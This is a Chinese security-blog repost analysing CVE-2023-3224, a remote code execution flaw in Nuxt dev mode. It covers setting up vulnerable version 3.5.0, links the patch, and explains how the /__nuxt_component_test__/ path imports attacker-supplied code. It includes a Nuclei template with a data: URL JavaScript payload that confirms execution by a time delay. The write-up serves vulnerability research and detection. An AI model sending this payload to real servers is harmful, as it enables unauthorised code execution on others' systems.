CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

admin 2024年10月25日15:42:24评论77 views字数 1634阅读5分26秒阅读模式

点击上方[蓝字],关注我们

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

文章正文

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

环境

https://nuxt.com/docs/examples/essentials/hello-world

照着这个创建文件,然后修改package.json里nuxt的版本号

{
  "name": "example-hello-world",
  "private": true,
  "scripts": {
    "build": "nuxi build",
    "dev": "nuxi dev",
    "start": "nuxi preview"
  },
  "devDependencies": {
    "nuxt": "3.5.0"
  }
}

补丁

https://github.com/nuxt/nuxt/commit/65a8f4eb3ef1b249a95fd59e323835a96428baff

分析

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

如果服务器以dev模式运行并且请求的url以/__nuxt_component_test__/开头,那么引入#build/test-component-wrapper.mjs

#build/test-component-wrapper.mjs中会截取query string然后import,造成rce。

poc:

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

当引入child_process执行命令时,报错500

CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

这个时候需要用node_modules里别的gadget。

poc

编写模板时,要考虑怎么做验证,有的没办法执行命令,干脆用sleep延时来判断,然后发现nuxt在渲染时有缓存,如果两次payload一致时只会sleep一次,所以加了个随机数。

id: CVE-2023-3224

info:
  name: nuxt developer mode RCE
  author: Y4er
  severity: critical
  description: |
    RCE in developer mode in nuxt/nuxt    
  reference:
    - https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-3224
    cwe-id: CWE-94
  tags: cve,cve2023,rce,http,vmware

http:
  - method: GET
    path:
      - "{{BaseURL}}/__nuxt_component_test__/?path=data:text/javascript,await%20new%20Promise(resolve%20=%3E%20setTimeout(resolve,%206000));console.log('{{randstr}}')"

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=5'

参考

https://huntr.dev/bounties/1eb74fd8-0258-4c1f-a904-83b52e373a87/

文章来源:https://y4er.com/posts/cve-2023-3224-nuxt-dev-mode-rce/作者:Y4er

技术交流

原文始发于微信公众号(Z2O安全攻防):CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月25日15:42:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-3224 Nuxt dev mode 远程命令执行(附POC)https://cn-sec.com/archives/1844861.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息